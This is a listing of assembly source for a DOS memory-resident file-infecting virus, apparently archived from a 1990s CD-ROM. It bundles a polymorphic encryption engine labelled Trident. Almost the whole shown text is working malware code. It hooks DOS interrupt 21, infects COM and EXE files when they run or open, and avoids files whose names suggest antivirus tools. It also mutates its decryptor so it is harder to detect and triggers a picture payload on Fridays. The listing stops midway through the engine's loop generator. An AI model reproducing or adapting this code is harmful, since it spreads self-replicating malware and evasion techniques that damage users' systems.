home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / COFFSHOP.ASM < prev    next >
Assembly Source File  |  1996-04-26  |  62KB  |  1,663 lines

  1.                 .RADIX  16
  2.  
  3.  
  4. _TEXT           segment
  5.  
  6.                 assume  cs:_TEXT, ds:_TEXT
  7.  
  8.  
  9. VERSION         equ     3
  10. PICLEN          equ     last - beeld            ;length of picture routine
  11. FILELEN         equ     last - first            ;length of virus
  12. FILEPAR         equ     (FILELEN + 0F)/10       ;length of virus in paragraphs
  13. VIRPAR          equ     00D0                    ;space for resident virus
  14. WORKPAR         equ     0160                    ;work space for engine
  15. STACKOFF        equ     1000                    ;Stack offset
  16. DATAPAR         equ     0050                    ;extra memory allocated
  17. BUFLEN          equ     1C                      ;length of buffer
  18.  
  19.  
  20. ;****************************************************************************
  21. ;*              data area for virus
  22. ;****************************************************************************
  23.  
  24.                 org     00E0
  25.  
  26. mutstack        dw      0, 0
  27. oldlen          dw      0, 0
  28. oi21            dw      0, 0
  29. minibuf         db      0, 0, 0, 0
  30.  
  31.  
  32. ;****************************************************************************
  33. ;*              data area for engine
  34. ;****************************************************************************
  35.  
  36. add_val         dw      0
  37. xor_val         dw      0
  38. xor_offset      dw      0
  39. where_len       dw      0
  40. where_len2      dw      0
  41. flags           db      0
  42.  
  43.  
  44. ;******************************************************************************
  45. ;*              Begin of virus, installation in memory
  46. ;******************************************************************************
  47.  
  48.                 org     0100
  49.  
  50. first:          call    next                    ;get IP
  51. next:           pop     si
  52.  
  53.                 sub     si,low 3                ;SI = begin virus
  54.                 mov     di,0100
  55.                 cld
  56.  
  57.                 push    ax                      ;save registers
  58.                 push    ds
  59.                 push    es
  60.                 push    di
  61.                 push    si
  62.  
  63.                 mov     ah,30                   ;DOS version >= 3.1?
  64.                 int     21
  65.                 xchg    ah,al
  66.                 cmp     ax,030A
  67.                 jb      not_install
  68.  
  69.                 mov     ax,33DA                 ;already resident?
  70.                 int     21
  71.                 cmp     ah,0A5
  72.                 je      not_install
  73.  
  74.                 mov     ax,es                   ;adjust memory-size
  75.                 dec     ax
  76.                 mov     ds,ax
  77.                 xor     bx,bx
  78.                 cmp     byte ptr [bx],5A
  79.                 jne     not_install
  80.                 mov     ax,[bx+3]
  81.                 sub     ax,(VIRPAR+WORKPAR)
  82.                 jb      not_install
  83.                 mov     [bx+3],ax
  84.                 sub     word ptr ds:[bx+12],(VIRPAR+WORKPAR)
  85.  
  86.                 mov     es,[bx+12]              ;copy program to top
  87.                 push    cs
  88.                 pop     ds
  89.                 mov     cx,FILELEN
  90.         rep     movsb
  91.  
  92.                 push    es
  93.                 pop     ds
  94.  
  95.                 mov     ax,3521                 ;get original int21 vector
  96.                 int     21
  97.                 mov     ds:[oi21],bx
  98.                 mov     ds:[oi21+2],es
  99.  
  100.                 mov     dx,offset ni21          ;install new int21 handler
  101.                 mov     ax,2521
  102.                 int     21
  103.  
  104.                 mov     ax,33DBh                ;init. random nr. generator
  105.                 int     21
  106.  
  107.                 mov     ah,2A                   ;ask date
  108.                 int     21
  109.                 cmp     al,5                    ;friday ?
  110.                 jne     not_install
  111.                 mov     ah,2C                   ;ask time
  112.                 int     21
  113.                 or      dh,dh                   ;sec = 0 ?
  114.                 jnz     not_install
  115.                 
  116.                 mov     ax,33DC                 ;show picture
  117.                 int     21
  118.  
  119. not_install:    pop     si                      ;restore registers
  120.                 pop     di
  121.                 pop     es
  122.                 pop     ds
  123.                 pop     ax
  124.  
  125.                 add     si,(offset buffer)
  126.                 sub     si,di
  127.                 cmp     byte ptr cs:[si],4Dh    ;COM or EXE ?
  128.                 je      entryE
  129.  
  130. entryC:         push    di
  131.                 mov     cx,BUFLEN
  132.         rep     movsb
  133.                 ret
  134.  
  135. entryE:         mov     bx,ds                   ;calculate CS
  136.                 add     bx,low 10
  137.                 mov     cx,bx
  138.                 add     bx,cs:[si+0E]
  139.                 cli                             ;restore SS and SP
  140.                 mov     ss,bx
  141.                 mov     sp,cs:[si+10]
  142.                 sti
  143.                 add     cx,cs:[si+16]
  144.                 push    cx                      ;push new CS on stack
  145.                 push    cs:[si+14]              ;push new IP on stack
  146.                 db      0CBh                    ;retf
  147.  
  148.  
  149. ;******************************************************************************
  150. ;*              Interupt 24 handler
  151. ;******************************************************************************
  152.  
  153. ni24:           mov     al,3                    ;to avoid 'Abort, Retry, ...'
  154.                 iret
  155.  
  156.  
  157. ;******************************************************************************
  158. ;*              Interupt 21 handler
  159. ;******************************************************************************
  160.  
  161. ni21:           pushf
  162.  
  163.                 cmp     ax,33DA                 ;install-check ?
  164.                 jne     not_ic
  165.                 mov     ax,0A500+VERSION        ;return a signature
  166.                 popf
  167.                 iret
  168.  
  169. not_ic:         push    es                      ;save registers
  170.                 push    ds
  171.                 push    si
  172.                 push    di
  173.                 push    dx
  174.                 push    cx
  175.                 push    bx
  176.                 push    ax
  177.  
  178.                 cmp     ax,33DBh                ;rnd init ?
  179.                 jne     not_ri
  180.                 call    rnd_init
  181.                 jmp     short no_infect
  182.  
  183. not_ri:         cmp     ax,33DC                 ;show picture?
  184.                 je      show_pic
  185.  
  186. not_pi:         cmp     ax,4B00                 ;execute ?
  187.                 je      do_it
  188.  
  189.                 cmp     ax,6C00                 ;open DOS 4.0+ ?
  190.                 jne     no_infect
  191.                 test    bl,3
  192.                 jnz     no_infect
  193.                 mov     dx,di
  194.  
  195. do_it:          call    infect
  196.  
  197. no_infect:      pop     ax                      ;restore registers
  198.                 pop     bx
  199.                 pop     cx
  200.                 pop     dx
  201.                 pop     di
  202.                 pop     si
  203.                 pop     ds
  204.                 pop     es
  205.                 popf
  206.  
  207. org21:          jmp     dword ptr cs:[oi21]     ;call to old int-handler
  208.  
  209.  
  210. ;******************************************************************************
  211. ;*              Show picture
  212. ;******************************************************************************
  213.  
  214. show_pic:       mov     ax,offset no_infect     ;push return adres on stack
  215.                 push    cs
  216.                 push    ax
  217.  
  218.                 mov     di,((VIRPAR*10)+0100)   ;move picture routine
  219.                 mov     si,offset beeld
  220.                 mov     cx,PICLEN
  221.                 push    cs
  222.                 pop     ds
  223.                 push    cs
  224.                 pop     es
  225.         rep     movsb
  226.  
  227.                 mov     ax,cs                   ;calculate segment registers
  228.                 add     ax,low VIRPAR
  229.                 mov     ds,ax
  230.                 mov     es,ax
  231.  
  232.                 push    ax                      ;push picture adres on stack
  233.                 mov     ax,0100
  234.                 push    ax
  235.  
  236.                 db      0CBh                    ;(retf) goto picture routine
  237.  
  238.  
  239. ;******************************************************************************
  240. ;*              Tries to infect the file
  241. ;******************************************************************************
  242.  
  243. infect:         cld
  244.  
  245.                 push    cs                      ;copy filename to CS:0000
  246.                 pop     es
  247.                 mov     si,dx
  248.                 xor     di,di
  249.                 mov     cx,0080
  250. namemove:       lodsb
  251.                 cmp     al,0
  252.                 je      moved
  253.                 cmp     al,'a'
  254.                 jb      char_ok
  255.                 cmp     al,'z'
  256.                 ja      char_ok
  257.                 xor     al,20                   ;convert to upper case
  258. char_ok:        stosb
  259.                 loop    namemove
  260. return0:        ret
  261.  
  262. moved:          stosb                           ;put last zero after filename
  263.                 lea     si,[di-5]
  264.                 push    cs
  265.                 pop     ds
  266.                 
  267.                 lodsw                           ;check extension .COM or .EXE
  268.                 cmp     ax,'E.'
  269.                 jne     not_exe
  270.                 lodsw
  271.                 cmp     ax,'EX'
  272.                 jmp     short check
  273.  
  274. not_exe:        cmp     ax,'C.'
  275.                 jne     return0
  276.                 lodsw
  277.                 cmp     ax,'MO'
  278. check:          jne     return0
  279.  
  280.                 std                             ;find begin of filename
  281.                 mov     cx,si
  282.                 inc     cx
  283. searchbegin:    lodsb
  284.                 cmp     al,':'
  285.                 je      checkname
  286.                 cmp     al,'\'
  287.                 je      checkname
  288.                 loop    searchbegin
  289.                 dec     si
  290.  
  291. checkname:      cld                             ;check filename
  292.                 lodsw
  293.                 lodsw
  294.                 mov     di,offset names
  295.                 mov     cl,13
  296.         repnz   scasw
  297.                 je      return0
  298.  
  299.                 mov     ax,3300                 ;get ctrl-break flag
  300.                 int     21
  301.                 push    dx                      ;save flag on stack
  302.  
  303.                 cwd                             ;clear the flag
  304.                 inc     ax
  305.                 push    ax
  306.                 int     21
  307.  
  308.                 mov     ax,3524                 ;get int24 vector
  309.                 int     21
  310.                 push    es                      ;save vector on stack
  311.                 push    bx
  312.  
  313.                 push    cs
  314.                 pop     ds
  315.  
  316.                 mov     dx,offset ni24          ;install new int24 handler
  317.                 mov     ah,25
  318.                 push    ax
  319.                 int     21
  320.  
  321.                 mov     ax,4300                 ;ask file-attributes
  322.                 cwd
  323.                 int     21
  324.                 push    cx                      ;save attributes on stack
  325.  
  326.                 xor     cx,cx                   ;clear attributes
  327.                 mov     ax,4301
  328.                 push    ax
  329.                 int     21
  330.                 jc      return1v
  331.  
  332.                 mov     ax,3D02                 ;open the file
  333.                 int     21
  334.                 jnc     opened
  335. return1v:       jmp     return1
  336.  
  337. opened:         xchg    ax,bx                   ;save handle
  338.  
  339.                 mov     ax,5700                 ;get file date & time
  340.                 int     21
  341.                 push    dx                      ;save date & time on stack
  342.                 push    cx
  343.  
  344.                 mov     cx,BUFLEN               ;read begin of file
  345.                 mov     si,offset buffer
  346.                 mov     dx,si
  347.                 call    read
  348.                 jc      closev
  349.  
  350.                 mov     ax,4202                 ;goto end, get filelength
  351.                 xor     cx,cx
  352.                 cwd
  353.                 int     21
  354.  
  355.                 mov     di,offset oldlen        ;save filelength
  356.                 mov     [di],ax
  357.                 mov     [di+2],dx
  358.  
  359.                 mov     ax,word ptr [si+12]     ;already infected?
  360.                 add     al,ah
  361.                 cmp     al,'@'
  362.                 jz      closev
  363.  
  364.                 cmp     word ptr [si],'ZM'      ;EXE ?
  365.                 je      do_EXE
  366.  
  367. do_COM:         test    byte ptr [si],80        ;maybe a strange EXE?
  368.                 jz      closev
  369.  
  370.                 mov     ax,word ptr [di]        ;check lenght of file
  371.                 cmp     ah,0D0
  372.                 jae     closev
  373.                 cmp     ah,1
  374.                 jb      closev
  375.  
  376.                 mov     dx,ax
  377.                 add     dx,0100
  378.                 call    writeprog               ;call Engine and write virus
  379.                 jne     closev
  380.  
  381.                 mov     byte ptr [si],0E9       ;put 'JMP xxxx' at begin
  382.                 sub     ax,low 3
  383.                 mov     word ptr [si+1],ax
  384.                 jmp     done
  385.  
  386. closev:         jmp     close
  387.  
  388. do_EXE:         cmp     word ptr [si+18],40     ;is it a windows/OS2 EXE ?
  389.                 jb      not_win
  390.  
  391.                 mov     ax,003C
  392.                 cwd
  393.                 call    readbytes
  394.                 jc      closev
  395.  
  396.                 mov     ax,word ptr [di+8]
  397.                 mov     dx,word ptr [di+0A]
  398.                 call    readbytes
  399.                 jc      closev
  400.                 
  401.                 cmp     byte ptr [di+9],'E'
  402.                 je      closev
  403.  
  404. not_win:        call    getlen
  405.                 call    calclen                 ;check for internal overlays
  406.                 cmp     word ptr [si+4],ax
  407.                 jne     close
  408.                 cmp     word ptr [si+2],dx
  409.                 jne     close
  410.  
  411.                 cmp     word ptr [si+0C],0      ;high memory allocation?
  412.                 je      close
  413.  
  414.                 cmp     word ptr [si+1A],0      ;overlay nr. not zero?
  415.                 jne     close
  416.  
  417.                 call    getlen                  ;calculate new CS & IP
  418.                 mov     cx,0010
  419.                 div     cx
  420.                 sub     ax,word ptr [si+8]
  421.                 dec     ax
  422.                 add     dx,low 10
  423.  
  424.                 call    writeprog               ;call Engine and write virus
  425.                 jne     close
  426.  
  427.                 mov     word ptr [si+16],ax     ;put CS in header
  428.                 mov     word ptr [si+0E],ax     ;put SS in header
  429.                 mov     word ptr [si+14],dx     ;put IP in header
  430.                 mov     word ptr [si+10],STACKOFF  ;put SP in header
  431.  
  432.                 call    getlen
  433.                 add     ax,cx
  434.                 adc     dx,0
  435.                 call    calclen                 ;put new length in header
  436.                 mov     word ptr [si+4],ax
  437.                 mov     word ptr [si+2],dx
  438.  
  439.                 lea     di,[si+0A]              ;adjust mem. allocation info
  440.                 call    mem_adjust
  441.                 lea     di,[si+0C]
  442.                 call    mem_adjust
  443.  
  444. done:           call    gotobegin
  445.                 call    rnd_get                 ;signature
  446.                 mov     ah,'@'
  447.                 sub     ah,al
  448.                 mov     word ptr [si+12],ax
  449.                 mov     cx,BUFLEN               ;write new begin
  450.                 mov     dx,si
  451.                 mov     ah,40
  452.                 int     21
  453.  
  454. close:          pop     cx                      ;restore date & time
  455.                 pop     dx
  456.                 mov     ax,5701
  457.                 int     21
  458.  
  459.                 mov     ah,3E                   ;close the file
  460.                 int     21
  461.  
  462. return1:        pop     ax                      ;restore attributes
  463.                 pop     cx
  464.                 cwd
  465.                 int     21
  466.  
  467.                 pop     ax                      ;restore int24 vector
  468.                 pop     dx
  469.                 pop     ds
  470.                 int     21
  471.  
  472.                 pop     ax                      ;restore ctrl-break flag
  473.                 pop     dx
  474.                 int     21
  475.  
  476.                 ret
  477.  
  478.  
  479. ;******************************************************************************
  480. ;*              Filenames to avoid
  481. ;******************************************************************************
  482.  
  483. names:          db      'CO', 'SC', 'CL', 'VS', 'NE', 'HT', 'TB', 'VI'
  484.                 db      'FI', 'GI', 'RA', 'FE', 'MT', 'BR', 'IM', '  '
  485.                 db      '  ', '  ', '  '
  486.  
  487.  
  488. ;******************************************************************************
  489. ;*              Write virus to the program
  490. ;******************************************************************************
  491.  
  492. writeprog:      push    ax                      ;save registers
  493.                 push    dx
  494.                 push    si
  495.                 push    bp
  496.                 push    es
  497.  
  498.                 cli
  499.                 mov     word ptr [di-4],ss      ;save SS & SP
  500.                 mov     word ptr [di-2],sp
  501.  
  502.                 mov     ax,cs                   ;new stack & buffer-segment
  503.                 mov     ss,ax
  504.                 mov     sp,((VIRPAR + WORKPAR) * 10)
  505.                 add     ax,low VIRPAR
  506.                 mov     es,ax
  507.                 sti
  508.  
  509.                 push    ds
  510.  
  511.                 mov     bp,dx                   ;input parameters for engine
  512.                 mov     dx,0100
  513.                 mov     cx,FILELEN
  514.                 xor     si,si
  515.                 mov     al,0Fh
  516.  
  517.                 push    di
  518.                 push    bx
  519.  
  520.                 call    crypt                   ;call the Engine
  521.  
  522.                 pop     bx
  523.                 pop     di
  524.  
  525.                 push    cx
  526.                 push    dx
  527.                 mov     ax,4202                 ;goto end
  528.                 xor     cx,cx
  529.                 cwd
  530.                 int     21
  531.                 pop     dx
  532.                 pop     cx
  533.  
  534.                 mov     ah,40                   ;write virus
  535.                 int     21
  536.                 cmp     ax,cx                   ;are all bytes written?
  537.  
  538.                 pop     ds
  539.  
  540.                 cli
  541.                 mov     ss,word ptr [di-4]      ;restore stack
  542.                 mov     sp,word ptr [di-2]
  543.                 sti
  544.  
  545.                 pop     es                      ;restore registers
  546.                 pop     bp
  547.                 pop     si
  548.                 pop     dx
  549.                 pop     ax
  550.  
  551.                 ret
  552.  
  553.  
  554. ;******************************************************************************
  555. ;*              Adjust mem allocation info in EXE header
  556. ;******************************************************************************
  557.  
  558. mem_adjust:     mov     ax,[di]
  559.                 sub     ax,low FILEPAR          ;alloc. may be this much less
  560.                 jb      more
  561.                 cmp     ax,DATAPAR              ;minimum amount to allocate
  562.                 jae     mem_ok
  563. more:           mov     ax,DATAPAR
  564. mem_ok:         mov     [di],ax
  565.                 ret
  566.  
  567.  
  568. ;******************************************************************************
  569. ;*              Read a few bytes
  570. ;******************************************************************************
  571.  
  572. readbytes:      call    goto
  573.                 mov     dx,offset minibuf
  574.                 mov     cx,4
  575. read:           mov     ah,3F
  576.                 int     21
  577.                 ret
  578.  
  579.  
  580. ;******************************************************************************
  581. ;*              Calculate length for EXE header
  582. ;******************************************************************************
  583.  
  584. calclen:        mov     cx,0200
  585.                 div     cx
  586.                 or      dx,dx
  587.                 jz      no_cor
  588.                 inc     ax
  589. no_cor:         ret
  590.  
  591.  
  592. ;******************************************************************************
  593. ;*              Get original length of program
  594. ;******************************************************************************
  595.  
  596. getlen:         mov     ax,[di]
  597.                 mov     dx,[di+2]
  598.                 ret
  599.  
  600.  
  601. ;******************************************************************************
  602. ;*              Goto new offset DX:AX
  603. ;******************************************************************************
  604.  
  605. gotobegin:      xor     ax,ax
  606.                 cwd
  607. goto:           xchg    cx,dx
  608.                 xchg    ax,dx
  609.                 mov     ax,4200
  610.                 int     21
  611.                 ret
  612.  
  613.  
  614. ;****************************************************************************
  615. ;*
  616. ;*              Encryption Engine
  617. ;*
  618. ;*
  619. ;*      Input:  ES      work segment
  620. ;*              DS:DX   code to encrypt
  621. ;*              BP      what will be start of decryptor
  622. ;*              SI      what will be distance between decryptor and code
  623. ;*              CX      length of code
  624. ;*              AX      flags: bit 0: DS will not be equal to CS
  625. ;*                             bit 1: insert random instructions
  626. ;*                             bit 2: put junk before decryptor
  627. ;*                             bit 3: preserve AX with decryptor
  628. ;*
  629. ;*      Output: ES:     work segment (preserved)
  630. ;*              DS:DX   decryptor + encrypted code
  631. ;*              BP      what will be start of decryptor (preserved)
  632. ;*              DI      length of decryptor / offset of encrypted code
  633. ;*              CX      length of decryptor + encrypted code
  634. ;*              AX      length of encrypted code
  635. ;*              (other registers may be trashed)
  636. ;*
  637. ;****************************************************************************
  638.  
  639.                 db      '[ MK / Trident ]'
  640.  
  641. crypt:          xor     di,di                   ;di = start of decryptor
  642.                 push    dx                      ;save offset of code
  643.                 push    si                      ;save future offset of code
  644.  
  645.                 mov     byte ptr ds:[flags],al  ;save flags
  646.                 test    al,8                    ;push  AX?
  647.                 jz      no_push
  648.                 mov     al,50
  649.                 stosb
  650.  
  651. no_push:        call    rnd_get                 ;add a few bytes to cx
  652.                 and     ax,1F
  653.                 add     cx,ax
  654.                 push    cx                      ;save length of code
  655.  
  656.                 call    rnd_get                 ;get random flags
  657.                 xchg    ax,bx
  658.                                         ;BX flags:
  659.  
  660.                                         ;0,1    how to encrypt
  661.                                         ;2,3    which register for encryption
  662.                                         ;4      use byte or word for encrypt
  663.                                         ;5      MOV AL, MOV AH or MOV AX
  664.                                         ;6      MOV CL, MOV CH or MOV CX
  665.                                         ;7      AX or DX
  666.  
  667.                                         ;8      count up or down
  668.                                         ;9      ADD/SUB/INC/DEC or CMPSW/SCASW
  669.                                         ;A      ADD/SUB or INC/DEC
  670.                                         ;       CMPSW or SCASW
  671.                                         ;B      offset in XOR instruction?
  672.                                         ;C      LOOPNZ or LOOP
  673.                                         ;       SUB CX or DEC CX
  674.                                         ;D      carry with crypt ADD/SUB
  675.                                         ;E      carry with inc ADD/SUB
  676.                                         ;F      XOR instruction value or AX/DX
  677.  
  678. random:         call    rnd_get                 ;get random encryption value
  679.                 or      al,al
  680.                 jz      random                  ;again if 0
  681.                 mov     ds:[xor_val],ax
  682.  
  683.                 call    do_junk                 ;insert random instructions
  684.  
  685.                 pop     cx
  686.  
  687.                 mov     ax,0111                 ;make flags to remember which
  688.                 test    bl,20                   ;  MOV instructions are used
  689.                 jnz     z0
  690.                 xor     al,07
  691. z0:             test    bl,0C
  692.                 jnz     z1
  693.                 xor     al,70
  694. z1:             test    bl,40
  695.                 jnz     z2
  696.                 xor     ah,7
  697. z2:             test    bl,10
  698.                 jnz     z3
  699.                 and     al,73
  700. z3:             test    bh,80
  701.                 jnz     z4
  702.                 and     al,70
  703.  
  704. z4:             mov     dx,ax
  705. mov_lup:        call    rnd_get                 ;put MOV instructions in
  706.                 and     ax,000F                 ;  a random order
  707.                 cmp     al,0A
  708.                 ja      mov_lup
  709.  
  710.                 mov     si,ax
  711.                 push    cx                      ;test if MOV already done
  712.                 xchg    ax,cx
  713.                 mov     ax,1
  714.                 shl     ax,cl
  715.                 mov     cx,ax
  716.                 and     cx,dx
  717.                 pop     cx
  718.                 jz      mov_lup
  719.                 xor     dx,ax                   ;remember which MOV done
  720.  
  721.                 push    dx
  722.                 call    do_mov                  ;insert MOV instruction
  723.                 call    do_nop                  ;insert a random NOP
  724.                 pop     dx
  725.  
  726.                 or      dx,dx                   ;all MOVs done?
  727.                 jnz     mov_lup
  728.  
  729.                 push    di                      ;save start of decryptor loop
  730.  
  731.                 call    do_add_ax               ;add a value to AX in loop?
  732.                 call    do_nop
  733.                 test    bh,20                   ;carry with ADD/SUB ?
  734.                 jz      no_clc
  735.                 mov     al,0F8
  736.                 stosb
  737. no_clc:         mov     word ptr ds:[xor_offset],0
  738.                 call    do_xor                  ;place all loop instructions
  739.                 call    do_nop
  740.                 call    do_add
  741.  
  742.                 pop     dx                      ;get start of decryptor loop
  743.  
  744.                 call    do_loop
  745.  
  746.                 test    byte ptr ds:[flags],8   ;insert POP AX ?
  747.                 jz      no_pop
  748.                 mov     al,58
  749.                 stosb
  750.  
  751. no_pop:         xor     ax,ax                   ;calculate loop offset
  752.                 test    bh,1                    ;up or down?
  753.                 jz      v1
  754.                 mov     ax,cx
  755.                 dec     ax
  756.                 test    bl,10                   ;encrypt with byte or word?
  757.                 jz      v1
  758.                 and     al,0FE
  759. v1:             add     ax,di
  760.                 add     ax,bp
  761.                 pop     si
  762.                 add     ax,si
  763.                 sub     ax,word ptr ds:[xor_offset]
  764.                 mov     si,word ptr ds:[where_len]
  765.                 test    bl,0C                   ;are BL,BH used for encryption?
  766.                 jnz     v2
  767.                 mov     byte ptr es:[si],al
  768.                 mov     si,word ptr ds:[where_len2]
  769.                 mov     byte ptr es:[si],ah
  770.                 jmp     short v3
  771. v2:             mov     word ptr es:[si],ax
  772.  
  773. v3:             mov     dx,word ptr ds:[xor_val]   ;encryption value
  774.  
  775.                 pop     si                      ;ds:si = start of code
  776.  
  777.                 push    di                      ;save ptr to encrypted code
  778.                 push    cx                      ;save length of encrypted code
  779.  
  780.                 test    bl,10                   ;byte or word?
  781.                 jz      blup
  782.  
  783.                 inc     cx                      ;cx = # of crypts (words)
  784.                 shr     cx,1
  785.  
  786. lup:            lodsw                           ;encrypt code (words)
  787.                 call    do_encrypt
  788.                 stosw
  789.                 loop    lup
  790.                 jmp     short klaar
  791.  
  792.  
  793. blup:           lodsb                           ;encrypt code (bytes)
  794.                 xor     dh,dh
  795.                 call    do_encrypt
  796.                 stosb
  797.                 loop    blup
  798.  
  799. klaar:          mov     cx,di                   ;cx = length decryptpr + code
  800.                 pop     ax                      ;ax = length of decrypted code
  801.                 pop     di                      ;di = offset encrypted code
  802.                 xor     dx,dx                   ;ds:dx = decryptor + cr. code
  803.                 push    es
  804.                 pop     ds
  805.                 ret
  806.  
  807.  
  808. ;****************************************************************************
  809. ;*              encrypt the code
  810. ;****************************************************************************
  811.  
  812. do_encrypt:     add     dx,word ptr ds:[add_val]
  813.                 test    bl,2
  814.                 jnz     lup1
  815.                 xor     ax,dx
  816.                 ret
  817.  
  818. lup1:           test    bl,1
  819.                 jnz     lup2
  820.                 sub     ax,dx
  821.                 ret
  822.  
  823. lup2:           add     ax,dx
  824.                 ret
  825.  
  826.  
  827. ;****************************************************************************
  828. ;*              generate mov reg,xxxx
  829. ;****************************************************************************
  830.  
  831. do_mov:         mov     dx,si
  832.                 mov     al,byte ptr ds:[si+mov_byte]
  833.                 cmp     dl,4                    ;BX?
  834.                 jne     is_not_bx
  835.                 call    add_ind
  836. is_not_bx:      test    dl,0C                   ;A*?
  837.                 pushf
  838.                 jnz     is_not_a
  839.                 test    bl,80                   ;A* or D*?
  840.                 jz      is_not_a
  841.                 add     al,2
  842.  
  843. is_not_a:       call    alter                   ;insert the MOV
  844.  
  845.                 popf                            ;A*?
  846.                 jnz     is_not_a2
  847.                 mov     ax,word ptr ds:[xor_val]
  848.                 jmp     short sss
  849.  
  850. is_not_a2:      test    dl,8                    ;B*?
  851.                 jnz     is_not_b
  852.                 mov     si,offset where_len                
  853.                 test    dl,2
  854.                 jz      is_not_bh
  855.                 add     si,2
  856. is_not_bh:      mov     word ptr ds:[si],di
  857.                 jmp     short sss
  858.  
  859. is_not_b:       mov     ax,cx                   ;C*
  860.                 test    bl,10                   ;byte or word encryption?
  861.                 jz      sss
  862.                 inc     ax                      ;only half the number of bytes
  863.                 shr     ax,1
  864. sss:            test    dl,3                    ;byte or word register?
  865.                 jz      is_x
  866.                 test    dl,2                    ;*H?
  867.                 jz      is_not_h
  868.                 xchg    al,ah
  869. is_not_h:       stosb
  870.                 ret
  871.  
  872. is_x:           stosw
  873.                 ret
  874.  
  875.  
  876. ;****************************************************************************
  877. ;*              insert MOV or alternative for MOV
  878. ;****************************************************************************
  879.  
  880. alter:          push    bx
  881.                 push    cx
  882.                 push    ax
  883.                 call    rnd_get
  884.                 xchg    ax,bx
  885.                 pop     ax
  886.                 test    bl,3                    ;use alternative for MOV?
  887.                 jz      no_alter
  888.  
  889.                 push    ax
  890.                 and     bx,0F
  891.                 and     al,08
  892.                 shl     ax,1
  893.                 or      bx,ax
  894.                 pop     ax
  895.  
  896.                 and     al,7
  897.                 mov     cl,9
  898.                 xchg    ax,cx
  899.                 mul     cl
  900.  
  901.                 add     ax,30C0
  902.                 xchg    al,ah
  903.                 test    bl,4
  904.                 jz      no_sub
  905.                 mov     al,28
  906. no_sub:         call    maybe_2
  907.                 stosw
  908.  
  909.                 mov     al,80
  910.                 call    maybe_2
  911.                 stosb
  912.  
  913.                 mov     ax,offset add_mode
  914.                 xchg    ax,bx
  915.                 and     ax,3
  916.                 xlat
  917.  
  918.                 add     al,cl
  919. no_alter:       stosb
  920.                 pop     cx
  921.                 pop     bx
  922.                 ret
  923.  
  924.  
  925. ;****************************************************************************
  926. ;*              insert ADD AX,xxxx
  927. ;****************************************************************************
  928.  
  929. do_add_ax:      push    cx
  930.                 mov     si,offset add_val       ;save add-value here
  931.                 mov     word ptr ds:[si],0
  932.                 mov     ax,bx
  933.                 and     ax,8110
  934.                 xor     ax,8010
  935.                 jnz     no_add_ax               ;use ADD?
  936.  
  937.                 mov     ax,bx
  938.                 xor     ah,ah
  939.                 mov     cl,3
  940.                 div     cl
  941.                 or      ah,ah
  942.                 jnz     no_add_ax               ;use ADD?
  943.  
  944.                 test    bl,80
  945.                 jnz     do_81C2                 ;AX or DX?
  946.                 mov     al,5
  947.                 stosb
  948.                 jmp     short do_add0
  949. do_81C2:        mov     ax,0C281
  950.                 stosw
  951. do_add0:        call    rnd_get
  952.                 mov     word ptr ds:[si],ax
  953.                 stosw
  954. no_add_ax:      pop     cx
  955.                 ret
  956.  
  957.  
  958. ;****************************************************************************
  959. ;*              generate encryption command
  960. ;****************************************************************************
  961.  
  962. do_xor:         test    byte ptr ds:[flags],1
  963.                 jz      no_cs
  964.                 mov     al,2E                   ;insert CS: instruction
  965.                 stosb
  966.  
  967. no_cs:          test    bh,80                   ;type of XOR command
  968.                 jz      xor1
  969.  
  970.                 call    get_xor                 ;encrypt with register
  971.                 call    do_carry
  972.                 call    save_it
  973.                 xor     ax,ax
  974.                 test    bl,80
  975.                 jz      xxxx
  976.                 add     al,10
  977. xxxx:           call    add_dir
  978.                 test    bh,8
  979.                 jnz     yyyy
  980.                 stosb
  981.                 ret
  982.  
  983. yyyy:           or      al,80
  984.                 stosb             
  985.                 call    rnd_get
  986.                 stosw
  987.                 mov     word ptr ds:[xor_offset],ax
  988.                 ret
  989.  
  990. xor1:           mov     al,080                  ;encrypt with value
  991.                 call    save_it
  992.                 call    get_xor
  993.                 call    do_carry
  994.                 call    xxxx
  995.                 mov     ax,word ptr ds:[xor_val]
  996.                 test    bl,10
  997.                 jmp     byte_word
  998.  
  999.  
  1000. ;****************************************************************************
  1001. ;*              generate increase/decrease command
  1002. ;****************************************************************************
  1003.  
  1004. do_add:         test    bl,8                    ;no CMPSW/SCASW if BX is used
  1005.                 jz      da0
  1006.                 test    bh,2                    ;ADD/SUB/INC/DEC or CMPSW/SCASW
  1007.                 jnz     do_cmpsw
  1008.  
  1009. da0:            test    bh,4                    ;ADD/SUB or INC/DEC?
  1010.                 jz      add1
  1011.  
  1012.                 mov     al,40                   ;INC/DEC
  1013.                 test    bh,1                    ;up or down?
  1014.                 jz      add0
  1015.                 add     al,8
  1016. add0:           call    add_ind
  1017.                 stosb
  1018.                 test    bl,10                   ;byte or word?
  1019.                 jz      return
  1020.                 stosb                           ;same instruction again
  1021. return:         ret
  1022.  
  1023. add1:           test    bh,40                   ;ADD/SUB
  1024.                 jz      no_clc2                 ;carry?
  1025.                 mov     al,0F8                  ;insert CLC
  1026.                 stosb
  1027. no_clc2:        mov     al,083
  1028.                 stosb
  1029.                 mov     al,0C0
  1030.                 test    bh,1                    ;up or down?
  1031.                 jz      add2
  1032.                 mov     al,0E8
  1033. add2:           test    bh,40                   ;carry?
  1034.                 jz      no_ac2
  1035.                 and     al,0CF
  1036.                 or      al,10
  1037. no_ac2:         call    add_ind
  1038.                 stosb
  1039.                 mov     al,1                    ;value to add/sub
  1040. save_it:        call    add_1
  1041.                 stosb
  1042.                 ret
  1043.  
  1044. do_cmpsw:       test    bh,1                    ;up or down?
  1045.                 jz      no_std
  1046.                 mov     al,0FDh                 ;insert STD
  1047.                 stosb
  1048. no_std:         test    bh,4                    ;CMPSW or SCASW?
  1049.                 jz      normal_cmpsw
  1050.                 test    bl,4                    ;no SCASW if SI is used
  1051.                 jnz     do_scasw
  1052.  
  1053. normal_cmpsw:   mov     al,0A6                  ;CMPSB
  1054.                 jmp     short save_it
  1055. do_scasw:       mov     al,0AE                  ;SCASB
  1056.                 jmp     short save_it
  1057.  
  1058.  
  1059. ;****************************************************************************
  1060. ;*              generate loop command
  1061. ;****************************************************************************
  1062.  
  1063. do_loop:        test    bh,1                    ;no JNE if couting down
  1064.                 jnz     loop_loop               ;  (prefetch bug!)
  1065.                 call    rnd_get
  1066.                 test    al,1                    ;LOOPNZ/LOOP or JNE?
  1067.                 jnz     cx_loop
  1068.  
  1069. loop_loop:      mov     al,0E0
  1070.                 test    bh,1A                   ;LOOPNZ or LOOP?
